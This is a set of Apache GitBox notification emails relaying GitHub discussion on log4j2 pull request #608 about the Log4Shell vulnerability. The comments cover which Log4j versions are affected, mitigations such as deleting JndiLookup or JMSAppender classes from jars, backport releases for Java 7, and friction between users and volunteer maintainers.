We are no java guys. So I need some more details about how to apply on MS Windows Servers (for log4j-core-2.8.2.jar -files under openJDK 16). I guess this is the way how to do:
- search for log4j-core-*.jar -files on your server using explorer.exe
- for each such file do (using commandline in cmd.exe):
- - go to the path of the file using cd -command
- - enter: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class , but do not send
- - replace the * in the filename with the characters necessary to make it the real filename on your system
- - send it by hitting ENTER
- - if no reaction comes up, including no error message comes up, it is successful
- - if sending it a second time, a nothing-to-do message will show up meaning it can't remove a class if it has been already removed
Is this correct?
Do I have to reboot the server afterwards to make it be effective?
Or the other way round: does the effect of removing the class only exist until reboot resulting that I would have to run the zip... command every time after reboot?
(you see: non-java-guy asking questions ;-)
Thank you.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] Baoqi commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
Baoqi commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-990861408
> @Baoqi so this CVE impact log4j v 1.xx only if app is using JMSAddapter in log4j configuration(log4j.properties) or not?
@sysmat I don't have answer for this, as I'm not familiar with log4j. Based on my limited knowledge, the well-known explode steps for the CVE-2021-44228 only work for log4j 2.x (before 2.15.0). But can not explode against log4j 1.2.17. So, it may not be affected. But, as mentioned by remkop: "Also note that Log4j 1.x is End of Life and has other security vulnerabilities that will not be fixed.", so, log4j 1.2.17 may have other known or unknown vulnerabilities.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] Rongmario commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
Rongmario commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-990864435
https://github.com/LoliKingdom/NukeJndiLookupFromLog4j is nearly live on CurseForge (modding platform for Minecraft), it'll target any clients/servers running with MinecraftForge below 1.13. It's a soft fix that doesn't hard remove any files. However, there also is a Java App in the repository that allows you to remove JdniLookup classes from jars or zips, similar to @Glavo's deployment.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] remkop edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
remkop edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-990758663
> @remkop , thanks for your reply. Just want to make it more clear, because many people reach this issue mainly for the "JNDI lookup" CVE, so, for log4j 1.x, although it contains JMS Appender. But if the "JMS Appender" is not used for log4j 1.x (the usage of JMS Appender is rare), then, it should be not affected by this vulnerable RCE, is this correct?
>
> > To summarize: Log4j 1.x is also impacted, and we recommend using Log4j 2.15.0 instead.
@Baoqi Okay, let me be very clear: Log4j 1.x became [End of Life](https://logging.apache.org/log4j/1.2/) 6 years ago! Anyone who wants to continue using it can do their own risk assessment. :-)
**Update (2021-12-11 09:11 JST): according to [this analysis](https://twitter.com/ceki/status/1469449618316533762) by @ceki (the author of log4j 1.x), Log4j 1.x is not impacted, since it does not have lookups, and the JMS Appender only loads Strings from the remote server, not serialized objects.**
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] sellexx-stephan commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
sellexx-stephan commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-993012256
Thanks, brunoborges
So how to shutdown and startup JVM? I can't find a service which looks like this.
About automatic deployments. You are right, some of the log4j-core-2.8.2.jar -files are in apps under .../tomcat/webapps Would it be enough if the *.war -file is removed out of tomcat leaving just the corresponding directory (in which in .../WEB-INF/lib/ is the log4j...jar-file) under .../tomcat/webapps?
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] sysmat edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
sysmat edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-990814971
@Baoqi so this CVE impact log4j v 1.xx only if app is using JMSAddapter in log4j configuration(log4j.properties) or not?
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] garydgregory commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
garydgregory commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-990880189
> Hi there. Would setting the JVM property `com.sun.jndi.ldap.object.trustURLCodebase = false` mitigate this ? Thanks.
It is false by default.
Java 8u121 (see https://www.oracle.com/java/technologies/javase/8u121-relnotes.html) protects against remote code execution by defaulting "com.sun.jndi.rmi.object.trustURLCodebase" and "com.sun.jndi.cosnaming.object.trustURLCodebase" to "false".
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] remkop edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
remkop edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-990661374
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] ancms2600 commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
ancms2600 commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992140388
> If you look at how jndi works in 1.x you will find that there are two places where lookups are done - that is JMSAppender.java:207 and JMSAppender.java:222
For those of us who are stuck with 1.x and paranoid, it looks like we could just comment-out this line here and repackage the 1.x release `.jar`:
https://github.com/apache/log4j/blob/trunk/src/main/java/org/apache/log4j/net/JMSAppender.java#L245
Thoughts?
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] GalvinGao commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
GalvinGao commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-990106334
> > > > Is it a security vulnerability?
> > >
> > >
> > > I think it is.
> > > It is very surprising that this critical security issue does not seem to have received due attention. It was reported to Apache half a month ago, but it was not fixed until five days ago. Even today, it has not released a new stable version to solve it.
> >
> >
> > Oh so glad you show such appreciation for the work of volunteers...
>
> @garydgregory
>
> I wonder when log4j 2.15 will be officially released? It's hard to imagine that the craziest vulnerability this year has not been solved in the release half a month after it was reported.
>
> Its impact is unimaginable. Countless services using log4j2 are exposed to the risk of being attacked, and the way to attack them is surprisingly simple. Even now I dare not open my minecraft server, because any member can attack it if they want - he/she can easily control my server by sending a text through the chat bar.
>
> Is there anyone dealing with this matter urgently? It's really incomprehensible that I didn't see Apache give any emergency warning under such a serious problem.
+1, and we are in desperate need of a CVE and security advisory to be announced asap. This could affect hundreds of thousands, if not millions, of services actively running on the internet.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] ceki commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
ceki commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991754366
> I can't completely agree with this statement as I can see a whole number of use-cases where users can legitimately amend configuration or it's part for customization reasons..
You are right. There is a distinction between the ability to modify log4j config files of application A and the ability to modify the code of application A, with the latter requiring a different privilege.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] Glavo edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
Glavo edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-990094911
> > > Is it a security vulnerability?
> >
> >
> > I think it is.
> > It is very surprising that this critical security issue does not seem to have received due attention. It was reported to Apache half a month ago, but it was not fixed until five days ago. Even today, it has not released a new stable version to solve it.
>
> Oh so glad you show such appreciation for the work of volunteers...
@garydgregory
I wonder when log4j 2.15 will be officially released? It's hard to imagine that the craziest vulnerability this year has not been solved in the release half a month after it was reported.
Its impact is unimaginable. Countless services using log4j2 are exposed to the risk of being attacked, and the way to attack them is surprisingly simple. Even now I dare not open my minecraft server, because any member can attack it if they want - he/she can easily control my server by sending a text through the chat bar.
Is there anyone dealing with this matter urgently? It's really incomprehensible that I didn't see Apache give any emergency warning under such a serious problem.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] garydgregory commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
garydgregory commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-990070794
> > Is it a security vulnerability?
>
> I think it is.
>
> It is very surprising that this critical security issue does not seem to have received due attention. It was reported to Apache half a month ago, but it was not fixed until five days ago. Even today, it has not released a new stable version to solve it.
Oh so glad you show such appreciation for the work of volunteers...
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] Glavo commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
Glavo commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-990094911
> > > Is it a security vulnerability?
> >
> >
> > I think it is.
> > It is very surprising that this critical security issue does not seem to have received due attention. It was reported to Apache half a month ago, but it was not fixed until five days ago. Even today, it has not released a new stable version to solve it.
>
> Oh so glad you show such appreciation for the work of volunteers...
I wonder when log4j 2.15 will be officially released? It's hard to imagine that the craziest vulnerability this year has not been solved in the release half a month after it was reported.
Its impact is unimaginable. Countless services using log4j2 are exposed to the risk of being attacked, and the way to attack them is surprisingly simple. Even now I dare not open my minecraft server, because any member can attack it if they want - he/she can easily control my server by sending a text through the chat bar.
Is there anyone dealing with this matter urgently? It's really incomprehensible that I didn't see Apache give any emergency warning under such a serious problem.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] garydgregory commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
garydgregory commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-990217634
Also, if this matters to you so much, why not show it with a donation to the Apache Software Foundation https://www.apache.org/foundation/contributing.html or this project's main contributor https://github.com/sponsors/rgoers ?
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] albertinix edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
albertinix edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991225381
(re: the fix for versions <= 2.14.1)
Does anyone know if removing the `JndiLookup` class is enough?
On the [Apache Log4j2 page](https://logging.apache.org/log4j/2.x/) it's stated to:
>Remove the JndiLookup **and JndiManager** classes from the log4j-core jar.
(emphasis mine)
However, the only place where I've seen that being stated is on that page.
So - is it required to remove the `JndiManager` class as well?
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] remkop commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
remkop commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991387493
> When there are literally millions of log4j 1.x users out there, can you stop toying around?
>
> There is no lookup expansion in log4j 1.x and it does not suffer from [CVE-2021-44228](https://github.com/advisories/GHSA-jfh8-c2jp-5v3q). How hard is it to admit?
Hi @ceki, thank you for clarifying that Log4j 1.x is not impacted by this vulnerability. I updated my previous comments by linking to [your analysis on Twitter](https://twitter.com/ceki/status/1469449618316533762), happy to link to other sources as well.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] quaff commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
quaff commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-995493864
@remkop Description of `CVE-2021-45046` is not accurate, could you verify and update security page?
> Thread Context Map pattern (%X, %mdc, or %MDC)
I can confirm that `Thread Context Map pattern` is not affected.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] vy commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
vy commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992220335
> @zhangyoufu @remkop the suggestion to
>
> > remove org/apache/logging/log4j/core/lookup/JndiLookup.class from log4j-core-*.jar as a workaround
>
> is called out as an option for releases >=2.0-beta9 and <=2.10.0 on the Apache security blog, but it should work for every version, correct? It's just that better mitigation options are available for 2.10.0+?
Indeed, hence the way I worded that statement in the website. Removing `JndiLookup.class` protects you against CVE-2021-44228, though my advice to all Log4j users out there would be **turn message lookups completely off**.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] philipwhiuk commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
philipwhiuk commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992490183
Log4J 1.2.17 is only (potentially) vulnerable if you choose to use the JMS Appender. If you are, you will have to migrate to Log4J2 / Logback.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] remkop commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
remkop commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-993409892
> > > @remkop Hi! Thanks for your work and the community correspondence.
> > > Do you have any plans to backport the correspondence to this vulnerability to older versions of the 2.x?
> >
> >
> > I would also appreciate if security fixes could be back ported to 2.12.x as this is the last version that supports Java 7. We're still supporting Java 7 in the Elastic APM Java agent so we can't upgrade to 2.15.0, which requires Java 8. We fixed the vulnerability by excluding `JndiLookup` but this still causes vulnerability scanners to emit warnings which creates a lot of friction (see [elastic/apm-agent-java#2332](https://github.com/elastic/apm-agent-java/pull/2332)).
> > Is back porting security fixes to the 2.12.x branch something you would consider? Is it something we could help you with?
>
> Hi, we provide a patch-version based on 2.12.1(supportd Java7) that we hope it will be helpful to you. Release: https://github.com/quericy/logging-log4j2/releases/tag/2.12.1.sec1 . The pull request: #627
@quericy Thank you for your kind offer! The Log4j Team is actually working on a 2.12.2 release targeting Java 7 at this moment, to be released soon. We will check your PR to see if we missed anything. Many thanks!
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] felixbarny commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
felixbarny commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-993409519
Looks like the log4j team has already backported the recent fixes to the [2.12](https://github.com/apache/logging-log4j2/tree/log4j-2.12) branch and have released [2.12.2-rc1](https://github.com/apache/logging-log4j2/releases/tag/log4j-2.12.2-rc1).
Huge shout out to the team, thanks so much ❤️
I have also created a PR to back port the fixes for CVE-2020-9488 in the 2.12 branch: https://github.com/apache/logging-log4j2/pull/626
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] jvz commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
jvz commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-994145807
I've made a bunch of changes to the CVE description (at least for 44228), but they're awaiting approval from the Apache security team.
The message lookup mitigations aren't sufficient to protect from either the DoS or RCE attacks. That's something that's been updated in CVE-2021-44228 (or will be when it's re-synced upstream).
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] jvz commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
jvz commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-994182822
There were changes made in 2.15.0 besides disabling message lookups. Those changes reduce the attack surface of JNDI lookups. It sounds like some clarifications are in order, though.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] mallman commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
mallman commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-994152245
> I can prepare PR for the removal of the offending classes. That is a non-issue.
@vlsi Please do. I think this would be a very valuable effort.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] ryancastle commented on a change in pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
ryancastle commented on a change in pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#discussion_r766585720
##########
File path: log4j-core/src/main/java/org/apache/logging/log4j/core/appender/mom/JmsAppender.java
##########
@@ -100,8 +109,21 @@ public JmsAppender build() {
JmsManager actualJmsManager = jmsManager;
JmsManagerConfiguration configuration = null;
if (actualJmsManager == null) {
+ Properties additionalProperties = null;
+ if (allowedLdapClasses != null || allowedLdapHosts != null) {
Review comment:
Should this reference `allowedJndiProtocols` as well?
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] fyhao commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
fyhao commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991747594
> Also, if this matters to you so much, why not show it with a donation to the Apache Software Foundation https://www.apache.org/foundation/contributing.html or this project's main contributor https://github.com/sponsors/rgoers ?
Haha, why get this issue exploded in December, holiday mood sir
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] sushain-pandit edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
sushain-pandit edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992617101
> > @asokolov-flex
> > Log4J 1.2.17 is only (potentially) vulnerable if you choose to use the JMS Appender. If you are, you will have to migrate to Log4J2 / Logback.
>
> If you use the JMS Appender AND you configure it with JNDI. If you configure logback with JMS and JNDI, I am guessing you'll have the same issue.
re log4j 1.2.17, is it a certainty that the only appender with the issue is JMS?
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] quericy commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
quericy commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-993403042
> > @remkop嗨！感谢您的工作和社区通信。
> > 您是否计划将与此漏洞的对应关系向后移植到 2.x 的旧版本？
>
> 如果安全修复程序可以回移植到 2.12.x，我也将不胜感激，因为这是支持 Java 7 的最后一个版本。 我们仍然在 Elastic APM Java 代理中支持 Java 7，因此我们无法升级到 2.15.0，这需要 Java 8。我们通过排除来修复漏洞，`JndiLookup`但这仍然会导致漏洞扫描器发出警告，从而产生很多摩擦（请参阅[elastic/apm-agent-java#2332](https://github.com/elastic/apm-agent-java/pull/2332)）。
>
> 您是否会考虑将安全修复程序回移植到 2.12.x 分支？有什么我们可以帮你的吗？
Hi, we provide a patch-version based on 2.12.1(supportd Java7) that we hope it will be helpful to you. Release: https://github.com/quericy/logging-log4j2/releases/tag/2.12.1.sec1 . The pull request: https://github.com/apache/logging-log4j2/pull/608
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] iamamoose commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
iamamoose commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992346294
Red Hat cannot issue a CVE for an ASF issue without following a process (that hasn't been followed). Raising this with them.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] drorbrillsnps commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
drorbrillsnps commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992718306
Thank you Gary,
Is there a way to make sure JMS Appender is disabled?
Just to make sure that a user is not able to create configurations that are risky.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] ceki edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
ceki edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992730958
Regarding JMSAppender vulnerability, it has to be placed in the log4j.xml configuration file with a corrupt parameter. If the log4j.xml configuration file is write protected for all users including its owner, it would be quite difficult to override it with corrupt instructions. For more details, please read [my log4jShell comments](http://slf4j.org/log4shell.html)
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] tony-- edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
tony-- edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992886229
@Kirill89 @ceki @remkop @TopStreamsNet please confirm/comment.
Does removing JMSAppender completely mitigate what Snyk is describing as [SNYK-JAVA-LOG4J-2316893](https://security.snyk.io/vuln/SNYK-JAVA-LOG4J-2316893), that is CVE-2021-44228 as it pertains to Log4j 1.2.17, apparently now being tracked by [Red Hat as CVE-2021-4104](https://access.redhat.com/security/cve/CVE-2021-4104).
That is
`zip -q -d log4j-1.2.17.jar org/apache/log4j/net/JMSAppender.class`
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] tony-- edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
tony-- edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992886229
@Kirill89 @ceki @remkop please confirm/comment.
Does removing JMSAppender completely mitigate what Snyk is describing as [SNYK-JAVA-LOG4J-2316893](https://security.snyk.io/vuln/SNYK-JAVA-LOG4J-2316893), that is CVE-2021-44228 as it pertains to Log4j 1.2.17, apparently now being tracked by [Red Hat as CVE-2021-4104](https://access.redhat.com/security/cve/CVE-2021-4104).
That is
`zip -q -d log4j-1.2.17.jar org/apache/log4j/net/JMSAppender.class`
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] tony-- edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
tony-- edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992886229
@Kirill89 @ceki @remkop please confirm/comment.
Does removing JMSAppender completely mitigate what Snyk is describing as [SNYK-JAVA-LOG4J-2316893](https://security.snyk.io/vuln/SNYK-JAVA-LOG4J-2316893), that is CVE-2021-44228 as it pertains to Log4j 1.2.17.
That is
`zip -q -d log4j-1.2.17.jar org/apache/log4j/net/JMSAppender.class`
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] garydgregory commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
garydgregory commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-993495979
> > approach the Apache Software Foundation
>
> That is exactly what I am doing.
>
> > How does "unpaid volunteer" sound? ;-)
>
> @garydgregory , I am a committer and a PMC member on Apache Calcite and Apache JMeter.
I am glad to hear it.
>That is why I truly do not understand why it is that hard to roll 1.2.18 out. I know there's "dist.apache.org, voting, site update, announce, etc" overheads. I understand why do you want to stop bugfixes and features for 1.x branch, however, I believe this case is special, and it does not really take significant effort to remove several `.java` files.
>
> Do you suggest log4j PMC should be paid $5000 for each +1 vote regarding 1.2.18?
No, my intent was to say that for myself and, I can safely say, most of us on the team, this is a proverbial labor of love. I will expand to say that what I meant is that there is only so much time, effort and stress, I can put into a side project. I did not intend to imply a trade off. I normally simply say "volunteer" but I wanted more emphasis in this case which was, in retrospect, redundant of course, volunteers are not paid by definition. Yes, it would be nice to be paid for my "nights and weekends" and my GitHub Sponsor page is waiting for approval, but this is not my driving force or motivation.
>
> I can prepare PR for the removal of the offending classes. That is a non-issue. However, only log4j PMCs can vote and make the release happen.
>
> Of course, I can fork log4j and publish it under new groupid:artifactid coordinates, however, it would look really weird, and Dependabot won't know that my log4j is a solution to the known issues.
See Remko's reply.
TY!
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
